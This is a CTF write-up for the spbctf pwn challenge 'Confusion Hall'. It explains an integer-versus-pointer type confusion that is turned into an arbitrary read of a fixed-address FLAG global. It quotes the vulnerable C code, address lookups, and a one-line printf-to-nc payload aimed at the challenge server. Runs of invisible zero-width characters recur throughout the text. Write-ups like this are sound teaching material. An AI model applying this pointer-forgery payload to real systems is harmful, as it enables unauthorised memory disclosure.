← Back to Writeups
CUSTOMEasypwn

Confusion Hall

XESXOR9/2/20263 min read
#pwn#custom#easy#fixed_address_leak#pointer_forgery#type_confusion#linux

Confusion Hall

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: fixed_address_leak, pointer_forgery, type_confusion

Summary

Task: heap menu program with type confusion — struct number (u64) and struct str (char*) share the same 8-byte slot in a global OBJECTS[] array with no runtime type check. Solution: add a number equal to the fixed address of the No-PIE FLAG global, then show it as a str so printf(%s) dereferences the forged pointer and prints the flag.

Confusion Hall — spbctf

Description

Numbers and Strs. Completely interchangeable.

nc 109.233.56.90 11725

A menu-driven heap program (mc1.elf, source mc1.c provided) that lets you add, show, and edit two kinds of objects: numbers and strings. The goal is to leak the FLAG global. The name "Confusion Hall" and the description "Numbers and Strs. Completely interchangeable" point directly at a type confusion between the two object types.

Analysis

The program defines two structs, both exactly 8 bytes: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

c
struct number {
    unsigned long long num;   // raw 64-bit integer
};

struct str {
    char * data;              // heap pointer (strdup'd string)
};

Both types are stored in a single shared global array indexed by COUNT:

c
void * OBJECTS[10];
int COUNT = 0;

char FLAG[64];                // populated at startup from flag.txt

The critical flaw: no operation ever checks the runtime type of the object at a given index. Since both structs are the same size and occupy the same slot, an object created as a number can be operated on as a str, and vice versa — classic integer-vs-pointer type confusion. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Two primitives combine into an arbitrary read:

add_number() lets the attacker set the raw 8-byte value directly via scanf:

c
scanf("%lld", &i);
struct number * newObj = malloc(sizeof(*newObj));
newObj->num = i;                 // attacker-controlled 64-bit value
OBJECTS[COUNT++] = newObj;

show_str() reinterprets whatever 8 bytes live in the slot as a char * and prints the string it points to:

c
struct str * obj = OBJECTS[i];
printf("Str at [%d]: '%s'\n", i, obj->data);   // dereferences the 8 bytes as a pointer

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So: create a number whose value is an address, then show_str it → printf("%s") dereferences that address and prints the memory there.

The last piece is where to point. FLAG is a global buffer filled at startup:

c
FILE * f = fopen("flag.txt", "rb");
fgets(FLAG, sizeof(FLAG), f);

The binary is No-PIE, so globals live at fixed addresses. nm gives the address:

$ nm mc1.elf | grep FLAG
0000000000602120 B FLAG
$ checksec --file=mc1.elf     # PIE: No PIE (0x400000)

0x602120 = 6299936 in decimal. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

  1. add_number (menu option i), enter the decimal value 6299936 (= 0x602120 = &FLAG). scanf("%lld") writes this raw value into the object's 8 bytes, forging a char* that points at the flag global.
  2. show_str (menu option t) on index 0. The confused code treats the number's 8 bytes as struct str.data, so printf("%s", data) dereferences 0x602120 and prints the flag.

No actual UAF or free is needed — pure type confusion between two same-sized structs sharing OBJECTS[]. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

One-shot payload

bash
printf 'i\n6299936\nt\n0\n' | nc 109.233.56.90 11725

Output:

Str at [0]: 'spbctf{REDACTED}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍